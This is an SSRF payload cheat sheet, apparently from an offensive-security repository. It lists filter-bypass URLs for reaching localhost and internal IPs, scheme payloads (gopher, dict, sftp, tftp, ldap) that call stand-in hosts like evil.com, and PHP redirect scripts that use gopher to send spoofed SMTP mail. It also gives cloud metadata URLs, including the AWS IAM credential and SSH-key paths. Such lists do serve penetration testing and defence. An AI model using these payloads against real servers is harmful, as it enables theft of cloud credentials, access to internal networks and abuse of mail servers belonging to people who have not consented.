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# Server-Side Request Forgery
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.
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## Exploit with localhost
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Basic SSRF v1
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```
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http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
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http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
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```
Basic SSRF v2
```
http://localhost:80
http://localhost:443
http://localhost:22
```
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Advanced exploit using a redirection
```
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```
Advanced exploit using type=url
```
Change "type=file" to "type=url"
Paste URL in text field and hit enter
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Using this vulnerability users can upload images from any image URL = trigger an SSRF
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```
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## Bypassing filters
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Bypass using HTTPS
```
https://127.0.0.1/
https://localhost/
```
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Bypass localhost with [::]
```
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```
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```
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```
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Bypass localhost with a domain redirecting to locahost
```
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http://localtest.me
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http://n-pn.info
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
```
The service nip.io is awesome for that, it will convert any ip address as a dns.
```
NIP.IO maps < anything > .< IP Address > .nip.io to the corresponding < IP Address > , even 127.0.0.1.nip.io maps to 127.0.0.1
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```
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Bypass localhost with CIDR : 127.x.x.x
```
it's a /8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```
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Bypass using a decimal ip location
```
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http://0177.0.0.1/
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http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```
Bypass using malformed urls
```
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localhost:+11211aaa
localhost:00011211aaaa
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```
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Bypass using rare address
```
http://0/
```
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Bypass using bash variables (curl only)
```
curl -v "http://evil$google.com"
$google = ""
```
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Bypass using tricks combination
```
http://1.1.1.1 & @2.2.2.2# @3 .3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```
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Bypass using enclosed alphanumerics [@EdOverflow ](https://twitter.com/EdOverflow )
```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
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## SSRF via URL Scheme
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Dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
```
dict://< user > ;< auth > @< host > :< port > /d:< word > :< database > :< n >
ssrf.php?url=dict://attacker:11111/
```
Sftp://
```
ssrf.php?url=sftp://evil.com:11111/
```
Tftp://
```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
Ldap://
```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
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Gopher://
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:< hacker @ site . com >
RCPT TO:< victim @ site . com >
DATA
From: [Hacker] < hacker @ site . com >
To: < victime @ site . com >
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH
You didn't say the magic word !
.
QUIT
```
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Gopher:// SMTP - Back connect to 1337
```php
Content of evil.com/redirect.php:
< ?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
Gopher:// SMTP - send a mail
```php
Content of evil.com/redirect.php:
< ?php
$commands = array(
'HELO victim.com',
'MAIL FROM: < admin @ victim . com > ',
'RCPT To: < sxcurity @ oou . us > ',
'DATA',
'Subject: @sxcurity !',
'Corben was here, woot woot!',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
```
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## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
```bash
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
```
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## SSRF on AWS Bucket - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
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Interesting path to look for at http://169.254.169.254
```
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```
DNS record
```
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```
HTTP redirect
```
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```
Alternate IP encoding
```
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```
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More urls to include
```
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
```
## SSRF URL for Google Cloud
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
Google allows recursive pulls
```
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn )
```
http://metadata.google.internal/computeMetadata/v1beta1/
```
## SSRF URL for Digital Ocean
https://developers.digitalocean.com/documentation/metadata/
```
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
```
## SSRF URL for Packetcloud
```
https://metadata.packet.net/userdata
```
## SSRF URL for Azure
Limited, maybe more exist? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
```
http://169.254.169.254/metadata/v1/maintenance
```
Update Apr 2017, Azure has more support; requires the header "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
```
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02& format=text
```
## SSRF URL for OpenStack/RackSpace
(header required? unknown)
```
http://169.254.169.254/openstack
```
## SSRF URL for HP Helion
(header required? unknown)
```
http://169.254.169.254/2009-04-04/meta-data/
```
## SSRF URL for Oracle Cloud
```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
## SSRF URL for Alibaba
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
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## Thanks to
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* [Hackerone - How To: Server-Side Request Forgery (SSRF) ](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF )
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* [Awesome URL abuse for SSRF by @orange_8361 #BHUSA ](https://twitter.com/albinowax/status/890725759861403648 )
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai ](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html )
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* [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai ](https://www.youtube.com/watch?v=D1S-G8rJrEk )
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* [SSRF Tips - xl7dev ](http://blog.safebuff.com/2016/07/03/SSRF-Tips/ )
* [SSRF in https://imgur.com/vidgif/url ](https://hackerone.com/reports/115748 )
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* [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat ](https://www.dailysecurity.fr/server-side-request-forgery/ )
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* [AppSecEU15 Server side browsing considered harmful - @Agarri ](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf )
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* [Enclosed alphanumerics - @EdOverflow ](https://twitter.com/EdOverflow )
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* [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity ](http://www.sxcurity.pro/2017/12/17/hackertarget/ )
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* [PHP SSRF @secjuice ](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51 )
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* [How I convert SSRF to xss in a ssrf vulnerable Jira ](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158 )
* [Piercing the Veil: Server Side Request Forgery to NIPRNet access ](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a )
